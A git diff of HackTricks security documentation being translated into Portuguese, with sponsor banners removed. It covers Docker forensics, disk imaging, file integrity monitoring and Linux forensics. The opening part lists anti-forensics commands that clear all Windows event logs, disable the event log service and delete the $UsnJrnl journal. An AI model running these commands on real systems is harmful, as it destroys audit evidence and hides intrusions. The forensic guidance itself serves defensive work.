+### Excluir logs de eventos do Windows
 
-- Windows + R --> eventvwr.msc --> Expand "Windows Logs" --> Right click each category and select "Clear Log"
+- Windows + R --> eventvwr.msc --> Expanda "Logs do Windows" --> Clique com o botão direito em cada categoria e selecione "Limpar Log"
 - `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"`
 - `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }`
 
-### Disable Windows event logs
+### Desativar logs de eventos do Windows
 
 - `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f`
-- Inside the services section disable the service "Windows Event Log"
-- `WEvtUtil.exec clear-log` or `WEvtUtil.exe cl`
+- Dentro da seção de serviços, desative o serviço "Windows Event Log"
+- `WEvtUtil.exec clear-log` ou `WEvtUtil.exe cl`
 
-### Disable $UsnJrnl
+### Desativar $UsnJrnl
 
 - `fsutil usn deletejournal /d c:`
 
diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.md
index 629251985..7efb9e4ea 100644
--- a/src/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.md
+++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.md
@@ -2,24 +2,16 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-

 
-Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
-
-{% embed url="https://academy.8ksec.io/" %}
-
-## Container modification
-
-There are suspicions that some docker container was compromised:
+## Modificação de contêiner
 
+Há suspeitas de que algum contêiner docker foi comprometido:
 ```bash
 docker ps
 CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES
 cc03e43a052a        lamp-wordpress      "./run.sh"          2 minutes ago       Up 2 minutes        80/tcp              wordpress
 ```
-
-You can easily **find the modifications done to this container with regards to the image** with:
-
+Você pode facilmente **encontrar as modificações feitas a este contêiner em relação à imagem** com:
 ```bash
 docker diff wordpress
 C /var
@@ -33,70 +25,52 @@ A /var/lib/mysql/mysql/time_zone_leap_second.MYI
 A /var/lib/mysql/mysql/general_log.CSV
 ...
 ```
-
-In the previous command **C** means **Changed** and **A,** **Added**.\
-If you find that some interesting file like `/etc/shadow` was modified you can download it from the container to check for malicious activity with:
-
+No comando anterior, **C** significa **Changed** e **A** significa **Added**.\
+Se você descobrir que algum arquivo interessante, como `/etc/shadow`, foi modificado, você pode baixá-lo do contêiner para verificar atividades maliciosas com:
 ```bash
 docker cp wordpress:/etc/shadow.
 ```
-
-You can also **compare it with the original one** running a new container and extracting the file from it:
-
+Você também pode **compará-lo com o original** executando um novo contêiner e extraindo o arquivo dele:
 ```bash
 docker run -d lamp-wordpress
 docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container
 diff original_shadow shadow
 ```
-
-If you find that **some suspicious file was added** you can access the container and check it:
-
+Se você descobrir que **um arquivo suspeito foi adicionado**, você pode acessar o contêiner e verificá-lo:
 ```bash
 docker exec -it wordpress bash
 ```
+## Modificações de imagens
 
-## Images modifications
-
-When you are given an exported docker image (probably in `.tar` format) you can use [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) to **extract a summary of the modifications**:
-
+Quando você recebe uma imagem docker exportada (provavelmente no formato `.tar`), você pode usar [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) para **extrair um resumo das modificações**:
 ```bash
 docker save  > image.tar #Export the image to a .tar file
 container-diff analyze -t sizelayer image.tar
 container-diff analyze -t history image.tar
 container-diff analyze -t metadata image.tar
 ```
-
-Then, you can **decompress** the image and **access the blobs** to search for suspicious files you may have found in the changes history:
-
+Então, você pode **descompactar** a imagem e **acessar os blobs** para procurar arquivos suspeitos que você pode ter encontrado no histórico de alterações:
 ```bash
 tar -xf image.tar
 ```
+### Análise Básica
 
-### Basic Analysis
-
-You can get **basic information** from the image running:
-
+Você pode obter **informações básicas** da imagem executando:
 ```bash
 docker inspect 
 ```
-
-You can also get a summary **history of changes** with:
-
+Você também pode obter um resumo **histórico de alterações** com:
 ```bash
 docker history --no-trunc 
 ```
-
-You can also generate a **dockerfile from an image** with:
-
+Você também pode gerar um **dockerfile a partir de uma imagem** com:
 ```bash
 alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"
 dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers>
 ```
-
 ### Dive
 
-In order to find added/modified files in docker images you can also use the [**dive**](https://github.com/wagoodman/dive) (download it from [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)) utility:
-
+Para encontrar arquivos adicionados/modificados em imagens docker, você também pode usar o [**dive**](https://github.com/wagoodman/dive) (baixe-o a partir de [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)):
 ```bash
 #First you need to load the image in your docker repo
 sudo docker load < image.tar                                                                                                                                                                                                         1 ⨯
@@ -105,27 +79,19 @@ Loaded image: flask:latest
 #And then open it with dive:
 sudo dive flask:latest
 ```
+Isso permite que você **navegue pelos diferentes blobs de imagens docker** e verifique quais arquivos foram modificados/adicionados. **Vermelho** significa adicionado e **amarelo** significa modificado. Use **tab** para mover para a outra visualização e **space** para colapsar/abrir pastas.
 
-This allows you to **navigate through the different blobs of docker images** and check which files were modified/added. **Red** means added and **yellow** means modified. Use **tab** to move to the other view and **space** to collapse/open folders.
-
-With die you won't be able to access the content of the different stages of the image. To do so you will need to **decompress each layer and access it**.\
-You can decompress all the layers from an image from the directory where the image was decompressed executing:
-
+Com die você não poderá acessar o conteúdo dos diferentes estágios da imagem. Para fazer isso, você precisará **descomprimir cada camada e acessá-la**.\
+Você pode descomprimir todas as camadas de uma imagem a partir do diretório onde a imagem foi descomprimida executando:
 ```bash
 tar -xf image.tar
 for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done
 ```
+## Credenciais da memória
 
-## Credentials from memory
+Note que quando você executa um contêiner docker dentro de um host **você pode ver os processos em execução no contêiner a partir do host** apenas executando `ps -ef`
 
-Note that when you run a docker container inside a host **you can see the processes running on the container from the host** just running `ps -ef`
+Portanto (como root) você pode **extrair a memória dos processos** a partir do host e procurar por **credenciais** apenas [**como no seguinte exemplo**](../../linux-hardening/privilege-escalation/#process-memory).
 
-Therefore (as root) you can **dump the memory of the processes** from the host and search for **credentials** just [**like in the following example**](../../linux-hardening/privilege-escalation/#process-memory).
-
-

-
-Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
-
-{% embed url="https://academy.8ksec.io/" %}
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/file-integrity-monitoring.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/file-integrity-monitoring.md
index 214b917cf..120504de0 100644
--- a/src/generic-methodologies-and-resources/basic-forensic-methodology/file-integrity-monitoring.md
+++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/file-integrity-monitoring.md
@@ -1,25 +1,25 @@
 {{#include ../../banners/hacktricks-training.md}}
 
-# Baseline
+# Linha de Base
 
-A baseline consists of taking a snapshot of certain parts of a system to **compare it with a future status to highlight changes**.
+Uma linha de base consiste em tirar uma instantânea de certas partes de um sistema para **compará-la com um status futuro para destacar mudanças**.
 
-For example, you can calculate and store the hash of each file of the filesystem to be able to find out which files were modified.\
-This can also be done with the user accounts created, processes running, services running and any other thing that shouldn't change much, or at all.
+Por exemplo, você pode calcular e armazenar o hash de cada arquivo do sistema de arquivos para poder descobrir quais arquivos foram modificados.\
+Isso também pode ser feito com as contas de usuário criadas, processos em execução, serviços em execução e qualquer outra coisa que não deveria mudar muito, ou de forma alguma.
 
-## File Integrity Monitoring
+## Monitoramento de Integridade de Arquivos
 
-File Integrity Monitoring (FIM) is a critical security technique that protects IT environments and data by tracking changes in files. It involves two key steps:
+O Monitoramento de Integridade de Arquivos (FIM) é uma técnica de segurança crítica que protege ambientes de TI e dados ao rastrear mudanças em arquivos. Envolve duas etapas principais:
 
-1. **Baseline Comparison:** Establish a baseline using file attributes or cryptographic checksums (like MD5 or SHA-2) for future comparisons to detect modifications.
-2. **Real-Time Change Notification:** Get instant alerts when files are accessed or altered, typically through OS kernel extensions.
+1. **Comparação de Linha de Base:** Estabelecer uma linha de base usando atributos de arquivo ou somas de verificação criptográficas (como MD5 ou SHA-2) para comparações futuras para detectar modificações.
+2. **Notificação de Mudança em Tempo Real:** Receber alertas instantâneos quando arquivos são acessados ou alterados, tipicamente através de extensões do kernel do SO.
 
-## Tools
+## Ferramentas
 
 - [https://github.com/topics/file-integrity-monitoring](https://github.com/topics/file-integrity-monitoring)
 - [https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software](https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software)
 
-## References
+## Referências
 
 - [https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it](https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it)
 
diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md
index a95a3bbff..ea6735504 100644
--- a/src/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md
+++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md
@@ -1,40 +1,30 @@
-# Image Acquisition & Mount
+# Aquisição de Imagem & Montagem
 
 {{#include ../../banners/hacktricks-training.md}}
 
-

 
-{% embed url="https://websec.nl/" %}
-
-## Acquisition
+## Aquisição
 
 ### DD
-
 ```bash
 #This will generate a raw copy of the disk
 dd if=/dev/sdb of=disk.img
 ```
-
 ### dcfldd
-
 ```bash
 #Raw copy with hashes along the way (more secur as it checks hashes while it's copying the data)
 dcfldd if= of= bs=512 hash= hashwindow= hashlog=
 dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes
 ```
-
 ### FTK Imager
 
-You can [**download the FTK imager from here**](https://accessdata.com/product-download/debian-and-ubuntu-x64-3-1-1).
-
+Você pode [**baixar o FTK imager daqui**](https://accessdata.com/product-download/debian-and-ubuntu-x64-3-1-1).
 ```bash
 ftkimager /dev/sdb evidence --e01 --case-number 1 --evidence-number 1 --description 'A description' --examiner 'Your name'
 ```
-
 ### EWF
 
-You can generate a disk image using the[ **ewf tools**](https://github.com/libyal/libewf).
-
+Você pode gerar uma imagem de disco usando as [**ewf tools**](https://github.com/libyal/libewf).
 ```bash
 ewfacquire /dev/sdb
 #Name: evidence
@@ -51,15 +41,13 @@ ewfacquire /dev/sdb
 #Then use default values
 #It will generate the disk image in the current directory
 ```
+## Montar
 
-## Mount
+### Vários tipos
 
-### Several types
-
-In **Windows** you can try to use the free version of Arsenal Image Mounter ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)) to **mount the forensics image**.
+No **Windows**, você pode tentar usar a versão gratuita do Arsenal Image Mounter ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)) para **montar a imagem forense**.
 
 ### Raw
-
 ```bash
 #Get file type
 file evidence.img
@@ -68,9 +56,7 @@ evidence.img: Linux rev 1.0 ext4 filesystem data, UUID=1031571c-f398-4bfb-a414-b
 #Mount it
 mount evidence.img /mnt
 ```
-
 ### EWF
-
 ```bash
 #Get file type
 file evidence.E01
@@ -85,16 +71,14 @@ output/ewf1: Linux rev 1.0 ext4 filesystem data, UUID=05acca66-d042-4ab2-9e9c-be
 #Mount
 mount output/ewf1 -o ro,norecovery /mnt
 ```
-
 ### ArsenalImageMounter
 
-It's a Windows Application to mount volumes. You can download it here [https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)
+É um aplicativo para Windows para montar volumes. Você pode baixá-lo aqui [https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)
 
-### Errors
-
-- **`cannot mount /dev/loop0 read-only`** in this case you need to use the flags **`-o ro,norecovery`**
-- **`wrong fs type, bad option, bad superblock on /dev/loop0, missing codepage or helper program, or other error.`** in this case the mount failed due as the offset of the filesystem is different than that of the disk image. You need to find the Sector size and the Start sector:
+### Erros
 
+- **`cannot mount /dev/loop0 read-only`** neste caso, você precisa usar as flags **`-o ro,norecovery`**
+- **`wrong fs type, bad option, bad superblock on /dev/loop0, missing codepage or helper program, or other error.`** neste caso, a montagem falhou devido ao fato de que o deslocamento do sistema de arquivos é diferente do da imagem do disco. Você precisa encontrar o tamanho do setor e o setor de início:
 ```bash
 fdisk -l disk.img
 Disk disk.img: 102 MiB, 106954648 bytes, 208896 sectors
@@ -107,15 +91,8 @@ Disk identifier: 0x00495395
 Device        Boot Start    End Sectors  Size Id Type
 disk.img1       2048 208895  206848  101M  1 FAT12
 ```
-
-Note that sector size is **512** and start is **2048**. Then mount the image like this:
-
+Observe que o tamanho do setor é **512** e o início é **2048**. Em seguida, monte a imagem assim:
 ```bash
 mount disk.img /mnt -o ro,offset=$((2048*512))
 ```
-
-

-
-{% embed url="https://websec.nl/" %}
-
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md
index 568da19c5..687416ae6 100644
--- a/src/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md
+++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md
@@ -1,28 +1,17 @@
 # Linux Forensics
 
-

-
-\
-Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
-
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
-
 {{#include ../../banners/hacktricks-training.md}}
 
-## Initial Information Gathering
+## Coleta Inicial de Informações
 
-### Basic Information
-
-First of all, it's recommended to have some **USB** with **good known binaries and libraries on it** (you can just get ubuntu and copy the folders _/bin_, _/sbin_, _/lib,_ and _/lib64_), then mount the USB, and modify the env variables to use those binaries:
+### Informações Básicas
 
+Primeiro de tudo, é recomendado ter um **USB** com **binaries e bibliotecas bem conhecidas** (você pode apenas pegar o ubuntu e copiar as pastas _/bin_, _/sbin_, _/lib,_ e _/lib64_), então monte o USB e modifique as variáveis de ambiente para usar esses binaries:
 ```bash
 export PATH=/mnt/usb/bin:/mnt/usb/sbin
 export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
 ```
-
-Once you have configured the system to use good and known binaries you can start **extracting some basic information**:
-
+Uma vez que você tenha configurado o sistema para usar binários bons e conhecidos, você pode começar **a extrair algumas informações básicas**:
 ```bash
 date #Date and time (Clock may be skewed, Might be at a different timezone)
 uname -a #OS info
@@ -40,50 +29,46 @@ cat /etc/passwd #Unexpected data?
 cat /etc/shadow #Unexpected data?
 find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory
 ```
+#### Informações suspeitas
 
-#### Suspicious information
+Ao obter as informações básicas, você deve verificar coisas estranhas, como:
 
-While obtaining the basic information you should check for weird things like:
+- **Processos root** geralmente são executados com PIDS baixos, então se você encontrar um processo root com um PID grande, pode suspeitar
+- Verifique os **logins registrados** de usuários sem um shell dentro de `/etc/passwd`
+- Verifique os **hashes de senha** dentro de `/etc/shadow` para usuários sem um shell
 
-- **Root processes** usually run with low PIDS, so if you find a root process with a big PID you may suspect
-- Check **registered logins** of users without a shell inside `/etc/passwd`
-- Check for **password hashes** inside `/etc/shadow` for users without a shell
+### Dump de Memória
 
-### Memory Dump
-
-To obtain the memory of the running system, it's recommended to use [**LiME**](https://github.com/504ensicsLabs/LiME).\
-To **compile** it, you need to use the **same kernel** that the victim machine is using.
+Para obter a memória do sistema em execução, é recomendado usar [**LiME**](https://github.com/504ensicsLabs/LiME).\
+Para **compilá-lo**, você precisa usar o **mesmo kernel** que a máquina vítima está usando.
 
 > [!NOTE]
-> Remember that you **cannot install LiME or any other thing** in the victim machine as it will make several changes to it
-
-So, if you have an identical version of Ubuntu you can use `apt-get install lime-forensics-dkms`\
-In other cases, you need to download [**LiME**](https://github.com/504ensicsLabs/LiME) from github and compile it with correct kernel headers. To **obtain the exact kernel headers** of the victim machine, you can just **copy the directory** `/lib/modules/` to your machine, and then **compile** LiME using them:
+> Lembre-se de que você **não pode instalar LiME ou qualquer outra coisa** na máquina vítima, pois isso fará várias alterações nela
 
+Portanto, se você tiver uma versão idêntica do Ubuntu, pode usar `apt-get install lime-forensics-dkms`\
+Em outros casos, você precisa baixar [**LiME**](https://github.com/504ensicsLabs/LiME) do github e compilá-lo com os cabeçalhos de kernel corretos. Para **obter os cabeçalhos de kernel exatos** da máquina vítima, você pode simplesmente **copiar o diretório** `/lib/modules/` para sua máquina e, em seguida, **compilar** o LiME usando-os:
 ```bash
 make -C /lib/modules//build M=$PWD
 sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
 ```
+LiME suporta 3 **formatos**:
 
-LiME supports 3 **formats**:
+- Raw (cada segmento concatenado)
+- Padded (mesmo que raw, mas com zeros nos bits à direita)
+- Lime (formato recomendado com metadados)
 
-- Raw (every segment concatenated together)
-- Padded (same as raw, but with zeroes in right bits)
-- Lime (recommended format with metadata
+LiME também pode ser usado para **enviar o dump via rede** em vez de armazená-lo no sistema usando algo como: `path=tcp:4444`
 
-LiME can also be used to **send the dump via network** instead of storing it on the system using something like: `path=tcp:4444`
+### Imagem de Disco
 
-### Disk Imaging
+#### Desligando
 
-#### Shutting down
+Primeiro de tudo, você precisará **desligar o sistema**. Isso nem sempre é uma opção, pois às vezes o sistema será um servidor de produção que a empresa não pode se dar ao luxo de desligar.\
+Existem **2 maneiras** de desligar o sistema, um **desligamento normal** e um **desligamento "puxar o plugue"**. O primeiro permitirá que os **processos sejam encerrados normalmente** e o **sistema de arquivos** seja **sincronizado**, mas também permitirá que o possível **malware** **destrua evidências**. A abordagem "puxar o plugue" pode acarretar **alguma perda de informação** (não muita informação será perdida, pois já tiramos uma imagem da memória) e o **malware não terá nenhuma oportunidade** de fazer algo a respeito. Portanto, se você **suspeitar** que pode haver um **malware**, apenas execute o **comando** **`sync`** no sistema e puxe o plugue.
 
-First of all, you will need to **shut down the system**. This isn't always an option as some times system will be a production server that the company cannot afford to shut down.\
-There are **2 ways** of shutting down the system, a **normal shutdown** and a **"plug the plug" shutdown**. The first one will allow the **processes to terminate as usual** and the **filesystem** to be **synchronized**, but it will also allow the possible **malware** to **destroy evidence**. The "pull the plug" approach may carry **some information loss** (not much of the info is going to be lost as we already took an image of the memory ) and the **malware won't have any opportunity** to do anything about it. Therefore, if you **suspect** that there may be a **malware**, just execute the **`sync`** **command** on the system and pull the plug.
-
-#### Taking an image of the disk
-
-It's important to note that **before connecting your computer to anything related to the case**, you need to be sure that it's going to be **mounted as read only** to avoid modifying any information.
+#### Tirando uma imagem do disco
 
+É importante notar que **antes de conectar seu computador a qualquer coisa relacionada ao caso**, você precisa ter certeza de que ele será **montado como somente leitura** para evitar modificar qualquer informação.
 ```bash
 #Create a raw copy of the disk
 dd if= of= bs=512
@@ -92,11 +77,9 @@ dd if= of= bs=512
 dcfldd if= of= bs=512 hash= hashwindow= hashlog=
 dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes
 ```
+### Pré-análise da Imagem do Disco
 
-### Disk Image pre-analysis
-
-Imaging a disk image with no more data.
-
+Imaginando uma imagem de disco sem mais dados.
 ```bash
 #Find out if it's a disk image using "file" command
 file disk.img
@@ -108,12 +91,12 @@ raw
 #You can list supported types with
 img_stat -i list
 Supported image format types:
-        raw (Single or split raw file (dd))
-        aff (Advanced Forensic Format)
-        afd (AFF Multiple File)
-        afm (AFF with external metadata)
-        afflib (All AFFLIB image formats (including beta ones))
-        ewf (Expert Witness Format (EnCase))
+raw (Single or split raw file (dd))
+aff (Advanced Forensic Format)
+afd (AFF Multiple File)
+afm (AFF with external metadata)
+afflib (All AFFLIB image formats (including beta ones))
+ewf (Expert Witness Format (EnCase))
 
 #Data of the image
 fsstat -i raw -f ext4 disk.img
@@ -149,41 +132,31 @@ r/r 16: secret.txt
 icat -i raw -f ext4 disk.img 16
 ThisisTheMasterSecret
 ```
+## Pesquisa por Malware conhecido
 
-

+### Arquivos de Sistema Modificados
 
-\
-Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
+O Linux oferece ferramentas para garantir a integridade dos componentes do sistema, crucial para identificar arquivos potencialmente problemáticos.
 
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
+- **Sistemas baseados em RedHat**: Use `rpm -Va` para uma verificação abrangente.
+- **Sistemas baseados em Debian**: `dpkg --verify` para verificação inicial, seguido de `debsums | grep -v "OK$"` (após instalar `debsums` com `apt-get install debsums`) para identificar quaisquer problemas.
 
-## Search for known Malware
+### Detectores de Malware/Rootkit
 
-### Modified System Files
-
-Linux offers tools for ensuring the integrity of system components, crucial for spotting potentially problematic files.
-
-- **RedHat-based systems**: Use `rpm -Va` for a comprehensive check.
-- **Debian-based systems**: `dpkg --verify` for initial verification, followed by `debsums | grep -v "OK$"` (after installing `debsums` with `apt-get install debsums`) to identify any issues.
-
-### Malware/Rootkit Detectors
-
-Read the following page to learn about tools that can be useful to find malware:
+Leia a página a seguir para aprender sobre ferramentas que podem ser úteis para encontrar malware:
 
 {{#ref}}
 malware-analysis.md
 {{#endref}}
 
-## Search installed programs
+## Pesquisa de programas instalados
 
-To effectively search for installed programs on both Debian and RedHat systems, consider leveraging system logs and databases alongside manual checks in common directories.
+Para pesquisar efetivamente programas instalados em sistemas Debian e RedHat, considere aproveitar logs do sistema e bancos de dados juntamente com verificações manuais em diretórios comuns.
 
-- For Debian, inspect _**`/var/lib/dpkg/status`**_ and _**`/var/log/dpkg.log`**_ to fetch details about package installations, using `grep` to filter for specific information.
-- RedHat users can query the RPM database with `rpm -qa --root=/mntpath/var/lib/rpm` to list installed packages.
-
-To uncover software installed manually or outside of these package managers, explore directories like _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, and _**`/sbin`**_. Combine directory listings with system-specific commands to identify executables not associated with known packages, enhancing your search for all installed programs.
+- Para Debian, inspecione _**`/var/lib/dpkg/status`**_ e _**`/var/log/dpkg.log`**_ para obter detalhes sobre instalações de pacotes, usando `grep` para filtrar informações específicas.
+- Usuários do RedHat podem consultar o banco de dados RPM com `rpm -qa --root=/mntpath/var/lib/rpm` para listar pacotes instalados.
 
+Para descobrir software instalado manualmente ou fora desses gerenciadores de pacotes, explore diretórios como _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_ e _**`/sbin`**_. Combine listagens de diretórios com comandos específicos do sistema para identificar executáveis não associados a pacotes conhecidos, aprimorando sua busca por todos os programas instalados.
 ```bash
 # Debian package and log details
 cat /var/lib/dpkg/status | grep -E "Package:|Status:"
@@ -199,29 +172,17 @@ find /sbin/ –exec rpm -qf {} \; | grep "is not"
 # Find exacuable files
 find / -type f -executable | grep 
 ```
+## Recuperar Binários em Execução Deletados
 
-

-
-\
-Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
-
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
-
-## Recover Deleted Running Binaries
-
-Imagine a process that was executed from /tmp/exec and then deleted. It's possible to extract it
-
+Imagine um processo que foi executado de /tmp/exec e então deletado. É possível extrair isso.
 ```bash
 cd /proc/3746/ #PID with the exec file deleted
 head -1 maps #Get address of the file. It was 08048000-08049000
 dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it
 ```
+## Inspecionar locais de Autostart
 
-## Inspect Autostart locations
-
-### Scheduled Tasks
-
+### Tarefas Agendadas
 ```bash
 cat /var/spool/cron/crontabs/*  \
 /var/spool/cron/atjobs \
@@ -235,61 +196,60 @@ cat /var/spool/cron/crontabs/*  \
 #MacOS
 ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/
 ```
+### Serviços
 
-### Services
+Caminhos onde um malware poderia ser instalado como um serviço:
 
-Paths where a malware could be installed as a service:
+- **/etc/inittab**: Chama scripts de inicialização como rc.sysinit, direcionando para scripts de inicialização.
+- **/etc/rc.d/** e **/etc/rc.boot/**: Contêm scripts para inicialização de serviços, sendo o último encontrado em versões mais antigas do Linux.
+- **/etc/init.d/**: Usado em certas versões do Linux como Debian para armazenar scripts de inicialização.
+- Os serviços também podem ser ativados via **/etc/inetd.conf** ou **/etc/xinetd/**, dependendo da variante do Linux.
+- **/etc/systemd/system**: Um diretório para scripts do gerenciador de sistema e serviços.
+- **/etc/systemd/system/multi-user.target.wants/**: Contém links para serviços que devem ser iniciados em um nível de execução multiusuário.
+- **/usr/local/etc/rc.d/**: Para serviços personalizados ou de terceiros.
+- **\~/.config/autostart/**: Para aplicativos de inicialização automática específicos do usuário, que podem ser um esconderijo para malware direcionado ao usuário.
+- **/lib/systemd/system/**: Arquivos de unidade padrão do sistema fornecidos por pacotes instalados.
 
-- **/etc/inittab**: Calls initialization scripts like rc.sysinit, directing further to startup scripts.
-- **/etc/rc.d/** and **/etc/rc.boot/**: Contain scripts for service startup, the latter being found in older Linux versions.
-- **/etc/init.d/**: Used in certain Linux versions like Debian for storing startup scripts.
-- Services may also be activated via **/etc/inetd.conf** or **/etc/xinetd/**, depending on the Linux variant.
-- **/etc/systemd/system**: A directory for system and service manager scripts.
-- **/etc/systemd/system/multi-user.target.wants/**: Contains links to services that should be started in a multi-user runlevel.
-- **/usr/local/etc/rc.d/**: For custom or third-party services.
-- **\~/.config/autostart/**: For user-specific automatic startup applications, which can be a hiding spot for user-targeted malware.
-- **/lib/systemd/system/**: System-wide default unit files provided by installed packages.
+### Módulos do Kernel
 
-### Kernel Modules
+Módulos do kernel Linux, frequentemente utilizados por malware como componentes de rootkit, são carregados na inicialização do sistema. Os diretórios e arquivos críticos para esses módulos incluem:
 
-Linux kernel modules, often utilized by malware as rootkit components, are loaded at system boot. The directories and files critical for these modules include:
+- **/lib/modules/$(uname -r)**: Contém módulos para a versão do kernel em execução.
+- **/etc/modprobe.d**: Contém arquivos de configuração para controlar o carregamento de módulos.
+- **/etc/modprobe** e **/etc/modprobe.conf**: Arquivos para configurações globais de módulos.
 
-- **/lib/modules/$(uname -r)**: Holds modules for the running kernel version.
-- **/etc/modprobe.d**: Contains configuration files to control module loading.
-- **/etc/modprobe** and **/etc/modprobe.conf**: Files for global module settings.
+### Outros Locais de Autoinicialização
 
-### Other Autostart Locations
+O Linux emprega vários arquivos para executar automaticamente programas ao fazer login do usuário, potencialmente abrigando malware:
 
-Linux employs various files for automatically executing programs upon user login, potentially harboring malware:
+- **/etc/profile.d/**\*, **/etc/profile**, e **/etc/bash.bashrc**: Executados para qualquer login de usuário.
+- **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile**, e **\~/.config/autostart**: Arquivos específicos do usuário que são executados ao fazer login.
+- **/etc/rc.local**: Executa após todos os serviços do sistema terem sido iniciados, marcando o fim da transição para um ambiente multiusuário.
 
-- **/etc/profile.d/**\*, **/etc/profile**, and **/etc/bash.bashrc**: Executed for any user login.
-- **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile**, and **\~/.config/autostart**: User-specific files that run upon their login.
-- **/etc/rc.local**: Runs after all system services have started, marking the end of the transition to a multiuser environment.
+## Examinar Logs
 
-## Examine Logs
+Sistemas Linux rastreiam atividades de usuários e eventos do sistema através de vários arquivos de log. Esses logs são fundamentais para identificar acessos não autorizados, infecções por malware e outros incidentes de segurança. Os principais arquivos de log incluem:
 
-Linux systems track user activities and system events through various log files. These logs are pivotal for identifying unauthorized access, malware infections, and other security incidents. Key log files include:
-
-- **/var/log/syslog** (Debian) or **/var/log/messages** (RedHat): Capture system-wide messages and activities.
-- **/var/log/auth.log** (Debian) or **/var/log/secure** (RedHat): Record authentication attempts, successful and failed logins.
-  - Use `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` to filter relevant authentication events.
-- **/var/log/boot.log**: Contains system startup messages.
-- **/var/log/maillog** or **/var/log/mail.log**: Logs email server activities, useful for tracking email-related services.
-- **/var/log/kern.log**: Stores kernel messages, including errors and warnings.
-- **/var/log/dmesg**: Holds device driver messages.
-- **/var/log/faillog**: Records failed login attempts, aiding in security breach investigations.
-- **/var/log/cron**: Logs cron job executions.
-- **/var/log/daemon.log**: Tracks background service activities.
-- **/var/log/btmp**: Documents failed login attempts.
-- **/var/log/httpd/**: Contains Apache HTTPD error and access logs.
-- **/var/log/mysqld.log** or **/var/log/mysql.log**: Logs MySQL database activities.
-- **/var/log/xferlog**: Records FTP file transfers.
-- **/var/log/**: Always check for unexpected logs here.
+- **/var/log/syslog** (Debian) ou **/var/log/messages** (RedHat): Capturam mensagens e atividades em todo o sistema.
+- **/var/log/auth.log** (Debian) ou **/var/log/secure** (RedHat): Registram tentativas de autenticação, logins bem-sucedidos e falhados.
